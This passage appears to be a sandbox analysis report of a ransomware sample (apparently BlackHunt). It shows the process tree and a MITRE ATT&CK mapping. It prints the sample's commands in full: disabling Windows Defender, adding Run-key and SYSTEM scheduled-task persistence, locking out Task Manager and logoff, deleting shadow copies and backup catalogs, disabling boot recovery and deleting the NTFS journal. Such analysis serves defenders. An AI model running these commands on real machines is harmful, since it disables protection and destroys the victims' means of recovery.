  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:3288
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:6056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:4704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:5040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:5876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:6040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:6016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:6024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:324
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe" /F
  2⤵
  PID:1020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6f0b5afca2667525e374029e51c77360dd68f106694a17904f1d9d39333cb1db.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:652
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2480
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4636
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4620
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:760
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4652
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4808
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4836
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1288
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4632
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5400

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5820

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3128

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5804

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery